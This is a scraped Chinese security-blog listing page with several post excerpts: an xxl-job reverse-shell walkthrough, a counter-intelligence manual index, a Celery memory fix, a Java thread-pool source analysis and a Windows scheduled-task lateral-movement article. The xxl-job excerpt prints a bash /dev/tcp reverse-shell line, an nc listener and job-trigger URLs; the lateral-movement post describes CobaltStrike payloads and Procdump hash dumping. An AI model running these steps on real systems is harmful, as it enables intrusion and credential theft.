xxl-job反弹shell 安全博客

xxl-job反弹shell

利用过程点击任务管理、新增一个执行任务,配置如下(运行模式选择shell,cron是linux定时任务,如下0时0分0秒执行一次):进入GLUE面板,写入执行的脚本命令。随意命名备注名称,保存并关闭0<&196;exec 196<>/dev/tcp/10.0.01/4242; sh <&196 >&196 2>&196 服务器监听shell,受害机执行任务nc -lvvp 4242 返回shell到服务器参考: https://www.cnblogs.com/kbhome/p/13210394.html遇到的问题在添加任务后,提示添加成功,但不显示添加的任务,所以不能进入GLUE面板写脚本命令。解决添加一个无执行器的任务,记住ID,比如2,xxl-job的任务ID是顺序添加的,所以下次添加的一定是3,然后添加有执行器的任务,按照上面的正常添加就行(注: 最好是去看看哪个任务带有执行器,有些是不会全有执行器的,确认好有执行器的任务后,添加相应的任务即可。)虽然提示添加成功,但是不会显示任务,所以我们直接编辑对应ID的任务就行编辑:http://target/jobcode?jobId=3 这里的id=3为上述所说的,具体看你添加之前的ID是多少 执行:http://target/jobinfo/trigger?id=3&executorParam=相关推荐: AoiAWD 系统的安装和配置最近打了几次AWD比赛,发现手中的工具依然不好用,在github上发现了AoiAWD,AoiAWD 是一个由Aodzip(安恒信息 海特实验室研究员、HAC战队成员)维护的一个针对于CTF AWD模式的开源项目。专为比赛设计,便携性好,低权限运行的EDR系统。…
阅读全文
【资料】反情报手册 安全闲碎

【资料】反情报手册

1、《企业反情报指南》为私营部门提供反情报【目录】介绍钱在哪里当安全是不够的第一步:进行反间谍风险评估识别和优先级资产b .确定威胁c .评估漏洞第二步:为企业反情报计划奠定了基础第三步:识别所需的功能第四步:实现企业反情报项目项目管理人员配备 保持一个有效的企业反情报项目2、《美国陆军反情报手册》【目录】前言第一章任务和结构总则使命反情报支援部队情报任务反情报任务陆军反情报作为军事情报的功能反侦察其他专业和平、战争和战争以外的行动反情报结构反情报向部队提供支助规划任务和报告联合和联合行动法律审查第二章调查总则调查类型第三章-操作和技术总则行动技术第四章----反情报收集活动总则源信息的控制源信息的控制反情报联络汇报反情报部队保护行动第五章----反情报分析和生产总则反情报分析反情报分析目标提名反情报分析产品附录a-反人力情报技术和程序第一节基本侦查手段和程序第二节调查性法律原则第三节技术调查 技术第四节筛选、警戒和搜索行动第五节人物、组织和建设清单第六节反人力情报分析第七节人员安全调查第八节反情报调查附录b-反信号情报技术和程序第一节数据库第二节严格评估第三节脆弱性评估第四节对策发展第五节.对策评价附录c-反图像情报技术和程序3、《美国海军陆战队反情报手册》【目录】第1章基础第2章反情报职能和服务第3章组织和责任第4章反情报工作第5章为反情报行动提供通信和信息系统支持第6章反情报计划第7章反情报活动的执行第8章反情报训练第9章反情报管理第10章驻军反情报支持原文pdf及百分点机器翻译文档已上传小编知识星球长按识别下面的二维码可加入星球下载里面已有近千篇资料可供下载越早加入越便宜哦 原文始发于微信公众号(丁爸 情报分析师的工具箱):【资料】反情报手册
阅读全文
Celery 任务生产者在大规模生产任务时,存在的内存累积问题 安全博客

Celery 任务生产者在大规模生产任务时,存在的内存累积问题

简述 在当前的项目中,由于项目需求,需要实现一个将一个大任务拆分成无数个子任务的功能。 而在这个功能实现的时候,由于拆分的子任务数量太大,导致内存占用一直攀升直至Out of Memory。 为了解决这个问题,我曾经怀疑过由RabbitMQ的HeartBeat带来的内存泄露问题,但是在经过了tracemalloc内存分析之后,发觉这个问题的原因其实是Celery默认开启的一个小功能(坑)。 产生原因 在Celery文档中,有一个参数Task.apply_async.add_to_parent,这个参数的主要作用是: * add_to_parent (bool) – If set to True (default) and the task is applied while executing another task, then the result will be appended to the parent tasks request.children attribute. Trailing can also be disabled by default using the trail attribute 即,默认情况下,一个主任务在运行时产生的子任务会自动被添加到主任务的children列表里,并且会跟踪其运行状态。 但是在当前的需求中,我们不需要对子任务的状态进行跟踪,所以只要将add_to_parent这个参数改为False即可。 task.apply_async(add_to_parent=False) FROM :rickyhao.com | rickyhao.com相关推荐: 红队工具:编写自定义Shellcode备注 原文名称:Red Team Tooling: Writing Custom Shellcode 原文地址:https://www.praetorian.com/blog/red-team-tooling-writing-custom-shellcode/…
阅读全文
线程池是如何重复利用空闲的线程来执行任务的? 安全开发

线程池是如何重复利用空闲的线程来执行任务的?

点击下方“IT牧场”,选择“设为星标”来源:https://blog.csdn.net/anhenzhufeng/article/details/88870374在Java开发中,经常需要创建线程去执行一些任务,实现起来也非常方便,但如果并发的线程数量很多,并且每个线程都是执行一个时间很短的任务就结束了,这样频繁创建线程就会大大降低系统的效率,因为频繁创建线程和销毁线程需要时间。此时,我们很自然会想到使用线程池来解决这个问题。使用线程池的好处:降低资源消耗。java中所有的池化技术都有一个好处,就是通过复用池中的对象,降低系统资源消耗。设想一下如果我们有n多个子任务需要执行,如果我们为每个子任务都创建一个执行线程,而创建线程的过程是需要一定的系统消耗的,最后肯定会拖慢整个系统的处理速度。而通过线程池我们可以做到复用线程,任务有多个,但执行任务的线程可以通过线程池来复用,这样减少了创建线程的开销,系统资源利用率得到了提升。降低管理线程的难度。多线程环境下对线程的管理是最容易出现问题的,而线程池通过框架为我们降低了管理线程的难度。我们不用再去担心何时该销毁线程,如何最大限度的避免多线程的资源竞争。这些事情线程池都帮我们代劳了。提升任务处理速度。线程池中长期驻留了一定数量的活线程,当任务需要执行时,我们不必先去创建线程,线程池会自己选择利用现有的活线程来处理任务。很显然,线程池一个很显著的特征就是“长期驻留了一定数量的活线程”,避免了频繁创建线程和销毁线程的开销,那么它是如何做到的呢?我们知道一个线程只要执行完了run()方法内的代码,这个线程的使命就完成了,等待它的就是销毁。既然这是个“活线程”,自然是不能很快就销毁的。为了搞清楚这个“活线程”是如何工作的,下面通过追踪源码来看看能不能解开这个疑问。学习过线程池都知道,可以通过工厂类Executors来创个多种类型的线程池,部分类型如下:public static ExecutorService newFixedThreadPool(int var0) {        return new ThreadPoolExecutor(var0, var0, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue());    }    public static ExecutorService newSingleThreadExecutor() {        return new Executors.FinalizableDelegatedExecutorService(new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue()));    }    public static ExecutorService newCachedThreadPool() {        return new ThreadPoolExecutor(0, 2147483647, 60L, TimeUnit.SECONDS, new SynchronousQueue());    }    public static ScheduledExecutorService newSingleThreadScheduledExecutor() {        return new Executors.DelegatedScheduledExecutorService(new ScheduledThreadPoolExecutor(1));    }    public static ScheduledExecutorService newScheduledThreadPool(int var0) {        return new ScheduledThreadPoolExecutor(var0);    }无论哪种类型的线程池,最终都是直接或者间接通过ThreadPoolExecutor这个类来实现的。而ThreadPoolExecutor的有多个构造方法,最终都是调用含有7个参数的构造函数。/**     * Creates a new {@code ThreadPoolExecutor} with the given initial     * parameters.     *     * @param corePoolSize the number of threads to keep in the pool, even     *        if they are idle, unless {@code allowCoreThreadTimeOut} is set     * @param maximumPoolSize the maximum number of threads to allow in the     *        pool     * @param keepAliveTime when the number of threads is greater than     *        the core, this is the maximum time that excess idle threads     *        will wait for new tasks before terminating.     * @param unit the time unit for the {@code keepAliveTime} argument     * @param workQueue the queue to use for holding tasks before they are     *        executed.  This queue will hold only the {@code Runnable}     *        tasks submitted by the {@code execute} method.     * @param threadFactory the factory to use when the executor     *        creates a new thread     * @param handler the handler to use when execution is blocked     *        because the thread bounds and queue capacities are reached     * @throws IllegalArgumentException if one of the following holds:<br>     *         {@code corePoolSize < 0}<br>     *         {@code keepAliveTime < 0}<br>     *         {@code maximumPoolSize <= 0}<br>     *         {@code maximumPoolSize < corePoolSize}     * @throws NullPointerException if {@code workQueue}     *         or {@code threadFactory} or {@code handler} is null     */    public ThreadPoolExecutor(int corePoolSize,                              int maximumPoolSize,                              long keepAliveTime,                              TimeUnit unit,                              BlockingQueue<Runnable> workQueue,                              ThreadFactory threadFactory,                              RejectedExecutionHandler handler) {        if (corePoolSize < 0 ||            maximumPoolSize <= 0 ||            maximumPoolSize < corePoolSize ||            keepAliveTime < 0)            throw new IllegalArgumentException();        if (workQueue == null || threadFactory == null || handler == null)            throw new NullPointerException();        this.corePoolSize = corePoolSize;        this.maximumPoolSize = maximumPoolSize;        this.workQueue = workQueue;        this.keepAliveTime = unit.toNanos(keepAliveTime);        this.threadFactory = threadFactory;        this.handler = handler;    }① corePoolSize顾名思义,其指代核心线程的数量。当提交一个任务到线程池时,线程池会创建一个核心线程来执行任务,即使其他空闲的核心线程能够执行新任务也会创建新的核心线程,而等到需要执行的任务数大于线程池核心线程的数量时就不再创建,这里也可以理解为当核心线程的数量等于线程池允许的核心线程最大数量的时候,如果有新任务来,就不会创建新的核心线程。如果你想要提前创建并启动所有的核心线程,可以调用线程池的prestartAllCoreThreads()方法。② maximumPoolSize顾名思义,其指代线程池允许创建的最大线程数。如果队列满了,并且已创建的线程数小于最大线程数,则线程池会再创建新的线程执行任务。所以只有队列满了的时候,这个参数才有意义。因此当你使用了无界任务队列的时候,这个参数就没有效果了。③ keepAliveTime顾名思义,其指代线程活动保持时间,即当线程池的工作线程空闲后,保持存活的时间。所以,如果任务很多,并且每个任务执行的时间比较短,可以调大时间,提高线程的利用率,不然线程刚执行完一个任务,还没来得及处理下一个任务,线程就被终止,而需要线程的时候又再次创建,刚创建完不久执行任务后,没多少时间又终止,会导致资源浪费。注意:这里指的是核心线程池以外的线程。还可以设置allowCoreThreadTimeout = true这样就会让核心线程池中的线程有了存活的时间。④ TimeUnit顾名思义,其指代线程活动保持时间的单位:可选的单位有天(DAYS)、小时(HOURS)、分钟(MINUTES)、毫秒(MILLISECONDS)、微秒(MICROSECONDS,千分之一毫秒)和纳秒(NANOSECONDS,千分之一微秒)。⑤ workQueue顾名思义,其指代任务队列:用来保存等待执行任务的阻塞队列。⑥ threadFactory顾名思义,其指代创建线程的工厂:可以通过线程工厂给每个创建出来的线程设置更加有意义的名字。⑦ RejectedExecutionHandler顾名思义,其指代拒绝执行程序,可以理解为饱和策略:当队列和线程池都满了,说明线程池处于饱和状态,那么必须采取一种策略处理提交的新任务。这个策略默认情况下是AbortPolicy,表示无法处理新任务时抛出异常。在JDK1.5中Java线程池框架提供了以下4种策略。AbortPolicy:直接抛出异常RejectedExecutionException。CallerRunsPolicy:只用调用者所在线程来运行任务,即由调用 execute方法的线程执行该任务。DiscardOldestPolicy:丢弃队列里最近的一个任务,并执行当前任务。DiscardPolicy:不处理,丢弃掉,即丢弃且不抛出异常。这7个参数共同决定了线程池执行一个任务的策略:当一个任务被添加进线程池时:线程数量未达到 corePoolSize,则新建一个线程(核心线程)执行任务线程数量达到了 corePools,则将任务移入队列等待队列已满,新建线程(非核心线程)执行任务队列已满,总线程数又达到了 maximumPoolSize,就会由上面那位星期天(RejectedExecutionHandler)抛出异常说白了就是先利用核心线程,核心线程用完,新来的就加入等待队列,一旦队列满了,那么只能开始非核心线程来执行了。上面的策略,会在阅读代码的时候体现出来,并且在代码中也能窥探出真正复用空闲线程的实现原理。接下来我们就从线程池执行任务的入口分析。一个线程池可以接受任务类型有Runnable和Callable,分别对应了execute和submit方法。目前我们只分析execute的执行过程。上源码:public void execute(Runnable command) {        if (command == null)            throw new NullPointerException();        /*         * Proceed in 3 steps:         *         * 1. If fewer than corePoolSize threads are running, try to         * start a new thread with the given command as its first         * task.  The call to addWorker atomically checks runState and         * workerCount, and so prevents false alarms that would add         * threads when it shouldn't, by returning false.         *         * 2. If a task can be successfully queued, then we still need         * to double-check whether we should have added a thread         * (because existing ones died since last checking) or that         * the pool shut down since entry into this method. So we         * recheck state and if necessary roll back the enqueuing if         * stopped, or start a new thread if there are none.         *         * 3. If we cannot queue task, then we try to add a new         * thread.  If it fails, we know we are shut down or saturated         * and so reject the task.         */        int c = ctl.get();        if (workerCountOf(c) < corePoolSize) { //第一步:如果线程数量小于核心线程数            if (addWorker(command, true))//则启动一个核心线程执行任务                return;            c = ctl.get();        }        if (isRunning(c) && workQueue.offer(command)) {//第二步:当前线程数量大于等于核心线程数,加入任务队列,成功的话会进行二次检查            int recheck = ctl.get();            if (! isRunning(recheck) && remove(command))                reject(command);            else if (workerCountOf(recheck) == 0)                addWorker(null, false);//启动非核心线程执行,注意这里任务是null,其实里面会去取任务队列里的任务执行        }        else if (!addWorker(command, false))//第三步:加入不了队列(即队列满了),尝试启动非核心线程            reject(command);//如果启动不了非核心线程执行,说明到达了最大线程数量的限制,会使用第7个参数抛出异常    }代码并不多,主要分三个步骤,其中有两个静态方法经常被用到,主要用来判断线程池的状态和有效线程数量:// 获取运行状态private static int runStateOf(int c)     { return c & ~CAPACITY; }// 获取活动线程数private static int workerCountOf(int c)  { return c & CAPACITY; }总结一下,execute的执行逻辑就是:如果 当前活动线程数 < 指定的核心线程数,则创建并启动一个线程来执行新提交的任务(此时新建的线程相当于核心线程);如果 当前活动线程数 >= 指定的核心线程数,且缓存队列未满,则将任务添加到缓存队列中;如果 当前活动线程数 >= 指定的核心线程数,且缓存队列已满,则创建并启动一个线程来执行新提交的任务(此时新建的线程相当于非核心线程);从代码中我们也可以看出,即便当前活动的线程有空闲的,只要这个活动的线程数量小于设定的核心线程数,那么依旧会启动一个新线程来执行任务。也就是说不会去复用任何线程。在execute方法里面我们没有看到线程复用的影子,那么我们继续来看看addWorker方法。private boolean addWorker(Runnable firstTask, boolean core) {        retry:        for (;;) {            int c = ctl.get();            int rs = runStateOf(c);            // Check if queue empty only if necessary.            if (rs >= SHUTDOWN &&                ! (rs == SHUTDOWN &&                   firstTask == null &&                   ! workQueue.isEmpty()))                return false;                 for (;;) {                int wc = workerCountOf(c);                if (wc >= CAPACITY ||                    wc >= (core ? corePoolSize : maximumPoolSize))                    return false;                if (compareAndIncrementWorkerCount(c))                    break retry;                c = ctl.get();  // Re-read ctl                if (runStateOf(c) != rs)                    continue retry;                // else CAS failed due to workerCount change; retry inner loop            }        }        //前面都是线程池状态的判断,暂时不理会,主要看下面两个关键的地方        boolean workerStarted = false;        boolean workerAdded = false;        Worker w = null;        try {            w = new Worker(firstTask); // 新建一个Worker对象,这个对象包含了待执行的任务,并且新建一个线程            final Thread t = w.thread;            if (t != null) {                final ReentrantLock mainLock = this.mainLock;                mainLock.lock();                try {                    // Recheck while holding lock.                    // Back out on ThreadFactory failure or if                    // shut down before lock acquired.                    int rs = runStateOf(ctl.get());                         if (rs < SHUTDOWN ||                        (rs == SHUTDOWN && firstTask == null)) {                        if (t.isAlive()) // precheck that t is startable                            throw new IllegalThreadStateException();                        workers.add(w);                        int s = workers.size();                        if (s > largestPoolSize)                            largestPoolSize = s;                        workerAdded = true;                    }                } finally {                    mainLock.unlock();                }                if (workerAdded) {                    t.start(); // 启动刚创建的worker对象里面的thread执行                    workerStarted = true;                }            }        } finally {            if (! workerStarted)                addWorkerFailed(w);        }        return workerStarted;    }方法虽然有点长,但是我们只考虑两个关键的地方,先是创建一个worker对象,创建成功后,对线程池状态判断成功后,就去执行该worker对象的thread的启动。也就是说在这个方法里面启动了一个关联到worker的线程,但是这个线程是如何执行我们传进来的runnable任务的呢?接下来看看这个Worker对象到底做了什么。private final class Worker        extends AbstractQueuedSynchronizer        implements Runnable    {        /**         * This class will never be serialized, but we provide a         * serialVersionUID to suppress a javac warning.         */        private static final long serialVersionUID = 6138294804551838833L;        /** Thread this worker is running in.  Null if factory fails. */        final Thread thread;        /** Initial task to run.  Possibly null. */        Runnable firstTask;        /** Per-thread task counter */        volatile long completedTasks;             /**         * Creates with given first task and thread from ThreadFactory.         * @param firstTask the first task (null if none)         */        Worker(Runnable firstTask) {            setState(-1); // inhibit interrupts until runWorker            this.firstTask = firstTask;            this.thread = getThreadFactory().newThread(this);        }             /** Delegates main run loop to outer runWorker. */        public void run() {            runWorker(this);        }             // Lock methods        //        // The value 0 represents the unlocked state.        // The value 1 represents the locked state.             protected boolean isHeldExclusively() {            return getState() != 0;        }             protected boolean tryAcquire(int unused) {            if (compareAndSetState(0, 1)) {                setExclusiveOwnerThread(Thread.currentThread());                return true;            }            return false;        }             protected boolean tryRelease(int unused) {            setExclusiveOwnerThread(null);            setState(0);            return true;        }             public void lock()        { acquire(1); }        public boolean tryLock()  { return tryAcquire(1); }        public void unlock()      { release(1); }        public boolean isLocked() { return isHeldExclusively(); }             void interruptIfStarted() {            Thread t;            if (getState() >= 0 && (t = thread) != null && !t.isInterrupted()) {                try {                    t.interrupt();                } catch (SecurityException ignore) {                }            }        }    }最重要的构造方法:Worker(Runnable firstTask) { // worker本身实现了Runnable接口            setState(-1); // inhibit interrupts until runWorker            this.firstTask = firstTask; // 持有外部传进来的runnable任务            //创建了一个thread对象,并把自身这个runnable对象给了thread,一旦该thread执行start方法,就会执行worker的run方法            this.thread = getThreadFactory().newThread(this);         }在addWorker方法中执行的t.start会去执行worker的run方法:public void run() {            runWorker(this);        }run方法又执行了ThreadPoolExecutor的runWorker方法,把当前worker对象传入。final void runWorker(Worker w) {        Thread wt = Thread.currentThread();        Runnable task = w.firstTask; // 取出worker的runnable任务        w.firstTask = null;        w.unlock(); // allow interrupts        boolean completedAbruptly = true;        try {            // 循环不断的判断任务是否为空,当第一个判断为false的时候,即task为null,这个task啥时候为null呢?            // 要么w.firstTask为null,还记得我们在execute方法第二步的时候,执行addWorker的时候传进来的runnable是null吗?            // 要么是执行了一遍while循环,在下面的finally中执行了task=null;            // 或者执行第二个判断,一旦不为空就会继续执行循环里的代码。            while (task != null || (task = getTask()) != null) {                w.lock();                // If pool is stopping, ensure thread is interrupted;                // if not, ensure thread is not interrupted.  This                // requires a recheck in second case to deal with                // shutdownNow race while clearing interrupt                if ((runStateAtLeast(ctl.get(), STOP) ||                     (Thread.interrupted() &&                      runStateAtLeast(ctl.get(), STOP))) &&                    !wt.isInterrupted())                    wt.interrupt();                try {                    beforeExecute(wt, task);                    Throwable thrown = null;                    try {                        task.run(); // 任务不为空,就会执行任务的run方法,也就是runnable的run方法                    } catch (RuntimeException x) {                        thrown = x; throw x;                    } catch (Error x) {                        thrown = x; throw x;                    } catch (Throwable x) {                        thrown = x; throw new Error(x);                    } finally {                        afterExecute(task, thrown);                    }                } finally {                    task = null; // 执行完成置null,继续下一个循环                    w.completedTasks++;                    w.unlock();                }            }            completedAbruptly = false;        } finally {            processWorkerExit(w, completedAbruptly);        }    }方法比较长,归纳起来就三步:1,从worker中取出runnable(这个对象有可能是null,见注释中的解释);2,进入while循环判断,判断当前worker中的runnable,或者通过getTask得到的runnable是否为空,不为空的情况下,就执行run;3,执行完成把runnable任务置为null。假如我们不考虑此方法里面的while循环的第二个判断,在我们的线程开启的时候,顺序执行了runWorker方法后,当前worker的run就执行完成了。既然执行完了那么这个线程也就没用了,只有等待虚拟机销毁了。那么回顾一下我们的目标:Java线程池中的线程是如何被重复利用的?好像并没有重复利用啊,新建一个线程,执行一个任务,然后就结束了,销毁了。没什么特别的啊,难道有什么地方漏掉了,被忽略了?仔细回顾下该方法中的while循环的第二个判断(task = getTask)!=null玄机就在getTask方法中。private Runnable getTask() {        boolean timedOut = false; // Did the last poll() time out?        for (;;) {            int c = ctl.get();            int rs = runStateOf(c);                 // Check if queue empty only if necessary.            if (rs >= SHUTDOWN && (rs >= STOP || workQueue.isEmpty())) {                decrementWorkerCount();                return null;            }                 int wc = workerCountOf(c);                 // timed变量用于判断是否需要进行超时控制。            // allowCoreThreadTimeOut默认是false,也就是核心线程不允许进行超时;            // wc > corePoolSize,表示当前线程池中的线程数量大于核心线程数量;            // 对于超过核心线程数量的这些线程或者允许核心线程进行超时控制的时候,需要进行超时控制            // Are workers subject to culling?            boolean timed = allowCoreThreadTimeOut || wc > corePoolSize;                 // 如果需要进行超时控制,且上次从缓存队列中获取任务时发生了超时(timedOut开始为false,后面的循环末尾超时时会置为true)            // 或者当前线程数量已经超过了最大线程数量,那么尝试将workerCount减1,即当前活动线程数减1,            if ((wc > maximumPoolSize || (timed && timedOut))                && (wc > 1 || workQueue.isEmpty())) {                // 如果减1成功,则返回null,这就意味着runWorker()方法中的while循环会被退出,其对应的线程就要销毁了,也就是线程池中少了一个线程了                if (compareAndDecrementWorkerCount(c))                    return null;                continue;            }                 try {                // 注意workQueue中的poll()方法与take()方法的区别                //poll方式取任务的特点是从缓存队列中取任务,最长等待keepAliveTime的时长,取不到返回null                //take方式取任务的特点是从缓存队列中取任务,若队列为空,则进入阻塞状态,直到能取出对象为止                Runnable r = timed ?                    workQueue.poll(keepAliveTime, TimeUnit.NANOSECONDS) :                    workQueue.take();                if (r != null)                    return r;                timedOut = true; // 能走到这里说明已经超时了            } catch (InterruptedException retry) {                timedOut = false;            }        }    }注释已经很清楚了,getTask的作用就是,在当前线程中:1,如果当前线程池线程数量大于核心线程数量或者设置了对核心线程进行超时控制的话(此时相当于对所有线程进行超时控制),就会去任务队列获取超时时间内的任务(队列的poll方法),获取到的话就会继续执行任务,也就是执行runWorker方法中的while循环里的任务的run方法,执行完成后,又继续进入getTask从任务队列中获取下一个任务。如果在超时时间内没有获取到任务,就会走到getTask的倒数第三行,设置timeOut标记为true,此时继续进入getTask的for循环中,由于超时了,那么就会进入尝试去去对线程数量-1操作,-1成功了,就直接返回一个null的任务,这样就回到了当前线程执行的runWorker方法中,该方法的while循环判断getTask为空,直接退出循环,这样当前线程就执行完成了,意味着要被销毁了,这样自然就会被回收器择时回收了。也就是线程池中少了一个线程了。因此只要线程池中的线程数大于核心线程数(或者核心线程也允许超时)就会这样一个一个地销毁这些多余的线程。2,如果当前活动线程数小于等于核心线程数(或者不允许核心线程超时),同样也是去缓存队列中取任务,但当缓存队列中没任务了,就会进入阻塞状态(队列的take方法),直到能取出任务为止(也就是队列中被新添加了任务时),因此这个线程是处于阻塞状态的,并不会因为缓存队列中没有任务了而被销毁。这样就保证了线程池有N个线程是活的,可以随时处理任务,从而达到重复利用的目的。综上所述,线程之所以能达到复用,就是在当前线程执行的runWorker方法中有个while循环,while循环的第一个判断条件是执行当前线程关联的Worker对象中的任务,执行一轮后进入while循环的第二个判断条件getTask(),从任务队列中取任务,取这个任务的过程要么是一直阻塞的,要么是阻塞一定时间直到超时才结束的,超时到了的时候这个线程也就走到了生命的尽头。然而在我们开始分析execute的时候,这个方法中的三个部分都会调用addWorker去执行任务,在addWorker方法中都会去新建一个线程来执行任务,这样的话是不是每次execute都是去创建线程了?事实上,复用机制跟线程池的阻塞队列有很大关系,我们可以看到,在execute在核心线程满了,但是队列不满的时候会把任务加入到队列中,一旦加入成功,之前被阻塞的线程就会被唤醒去执行新的任务,这样就不会重新创建线程了。我们用个例子来看下:假设我们有这么一个ThreadPoolExecutor,核心线程数设置为5(不允许核心线程超时),最大线程数设置为10,超时时间为20s,线程队列是LinkedBlockingDeque(相当于是个无界队列)。当我们给这个线程池陆续添加任务,前5个任务执行的时候,会执行到我们之前分析的execute方法的第一步部分,会陆续创建5个线程做为核心线程执行任务,当前线程里面的5个关联的任务执行完成后,会进入各自的while循环的第二个判断getTask中去取队列中的任务,假设当前没有新的任务过来也就是没有执行execute方法,那么这5个线程就会在workQueue.take()处一直阻塞的。这个时候,我们执行execute加入一个任务,即第6个任务,这个时候会进入execute的第二部分,将任务加入到队列中,一旦加入队列,之前阻塞的5个线程其中一个就会被唤醒取出新加入的任务执行了。(这里有个execute的第二部分的后半段执行重复校验的代码即addWorker(传入null任务),目前还没搞明白是怎么回事)。在我们这个例子中,由于队列是无界的,所以始终不会执行到execute的第三部分即启动非核心线程,假如我们设置队列为有界的,那么必然就会执行到这里了。小结通过以上的分析,应该算是比较清楚地解答了“线程池中的核心线程是如何被重复利用的”这个问题,同时也对线程池的实现机制有了更进一步的理解:当有新任务来的时候,先看看当前的线程数有没有超过核心线程数,如果没超过就直接新建一个线程来执行新的任务,如果超过了就看看缓存队列有没有满,没满就将新任务放进缓存队列中,满了就新建一个线程来执行新的任务,如果线程池中的线程数已经达到了指定的最大线程数了,那就根据相应的策略拒绝任务。当缓存队列中的任务都执行完了的时候,线程池中的线程数如果大于核心线程数,就销毁多出来的线程,直到线程池中的线程数等于核心线程数。此时这些线程就不会被销毁了,它们一直处于阻塞状态,等待新的任务到来。注意:本文所说的“核心线程”、“非核心线程”是一个虚拟的概念,是为了方便描述而虚拟出来的概念,在代码中并没有哪个线程被标记为“核心线程”或“非核心线程”,所有线程都是一样的,只是当线程池中的线程多于指定的核心线程数量时,会将多出来的线程销毁掉,池中只保留指定个数的线程。那些被销毁的线程是随机的,可能是第一个创建的线程,也可能是最后一个创建的线程,或其它时候创建的线程。一开始我以为会有一些线程被标记为“核心线程”,而其它的则是“非核心线程”,在销毁多余线程的时候只销毁那些“非核心线程”,而“核心线程”不被销毁。这种理解是错误的。干货分享最近将个人学习笔记整理成册,使用PDF分享。关注我,回复如下代码,即可获得百度盘地址,无套路领取!•001:《Java并发与高并发解决方案》学习笔记;•002:《深入JVM内核——原理、诊断与优化》学习笔记;•003:《Java面试宝典》•004:《Docker开源书》•005:《Kubernetes开源书》•006:《DDD速成(领域驱动设计速成)》•007:全部•008:加技术群讨论加个关注不迷路喜欢就点个"在看"呗^_^ 本文始发于微信公众号(IT牧场):线程池是如何重复利用空闲的线程来执行任务的?
阅读全文
横向移动 [ windows计划任务利用 ] 安全文章

横向移动 [ windows计划任务利用 ]

0x01 本节重点快速预览关于 windows计划任务利用windows计划任务进行横向移动的前提条件针对老版本win xp/2003的at利用针对win7+版本的schtasks利用 0x02 关于windows计划任任务所谓的计划任务,就是让系统自己在我们指定的某个时刻,去执行一系列什么样的操作,单对于windows来讲,这个"操作"可能是个bat脚本,也可以直接是个exe,而bat和exe里面则包含的则是各种具体的操作指令,我想我应该是说清楚了0x03 利用windows计划任务进行横向移动的前提条件首先,必须已事先通过其它手段拿到了目标系统本地管理员的账号密码其次,还得保证当前机器能正常的net use到远程目标windows机器上最后,目标windows机器的计划任务服务"Task Scheduler"已正常启动 0x04 众所周知,在xp /2003以下版本的windows系统中默认都使用 at来管理本地或远程机器上的计划任务,下面我们就来简单看下具体怎么利用此处,咱们暂以CobaltStrike为例进行演示,首先,准备好相对应的监听器和payload    紧接着,把上面的payload通过ipc copy到目标机器上的某个临时目录下,如下,当然啦,这个payload可以是任意的,纯粹是为了图方便,此处才直接用的CobaltStrike生成,实际中直接这样干的话,不用想,免杀肯定是过不了的    可以看到,当目标机器时间到达19点30分时,我们的beacon即被正常弹回,而且回来的权限默认就是system,因为我们是以administrator的身份在目标机器上创建计划任务的,另外,也可以尝试用bat去执行某些特定操作,具体如下0x05 在win7 + 以后的windows系统上,默认已废弃at而改用功能更为强大的 schtasks同上,先准备好CobaltStrike exe的payload    同样,先用ipc把exe的payload传到目标机器上的某个临时目录下,而后开始用schtasks在远程的目标机器上创建计划任务,具体如下    因为我们上面是以administrator的身份在远程机器上运行的计划任务,所以,弹回来的beacon默认也是administrator的权限0x06 最后,利用windows计划任务在远程的windows目标机器上执行特定操作         Procdump可能也是我们平时用的相对比较多的一种免杀抓hash方式,此处我就来简单看下,如何配合windows计划任务来一起利用,具体如下        以下便是实际效果,关于schtasks的其它用法这里就不再细说了,比如,你也可以把所有的计划任务配置都事先写好到一个xml里,然后再通过schtasks去加载该xml配置执行也是可以的,除非你非要进行更精细的计划任务控制,否则通常情况下都没那必要一点小结内容比较基础简单,几乎也没啥技术含量,实战中只需细心加上相关的免杀到位即可,另外,还需要明确的一点,此处用系统计划任务的主要目的,并非为了想实现自启动上线的那种长期稳控效果,而是为了快速横向移动,扩展内网机器权限,话说回来,用这种方式想长期稳控压根就是不靠谱的,实际上也根本不会这么干,只能说,实在没办法的时候,临时性的简单维持下权限还行,几乎没人会这样做稳控,是个傻逼也一眼都看到了,当我们拿到远程机器shell以后,就顺手立即删掉此计划任务即可,由于此功能windows全版本通用,所以相对更简单实用些,像此类的计划任务也是各类AV重点监控的区域,所以,关于实际中如何免杀的问题,还需要自行解决,另外,还有些内网的断网机的shell如何反弹的问题,也需要自行解决,等等...诸如此类吧,只能根据你自己的实际目标环境来具体搞,这里也仅仅也只是做个最简单的参考而已,后面万一遇到更高级隐蔽的方法,也都会陆续更新上来,务必要注意,横向移动的手法非常多,实战中完全不用太拘泥于某一种方式,一条走不通,不妨试着多换几条...注:  写文不易,公众号之外的转载请务必通过此公众号事先与作者本人联系并严格声明文章出处,非常感谢 !另:  本公众号的所有文章仅作攻防研究学习之用,严禁私自用所学技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关     更多更优质的精品原创实用技术干货分享,和众多资深apt及红队玩家一起深度无缝交流,欢迎微信扫码加入小密圈,另外,关于本文完整pdf原件现也已分享到自己密圈中,我们会在那里一直等你    更多优质公开技术分享,欢迎关注个人公众号 "红队攻防揭秘",另,同时欢迎大家的无私 转发 , 打赏 , 点赞 与 留言, 非常感谢 本文始发于微信公众号(红队防线):横向移动 < windows计划任务利用 >
阅读全文
原创 | 动态定时任务业务中的RCE 安全文章

原创 | 动态定时任务业务中的RCE

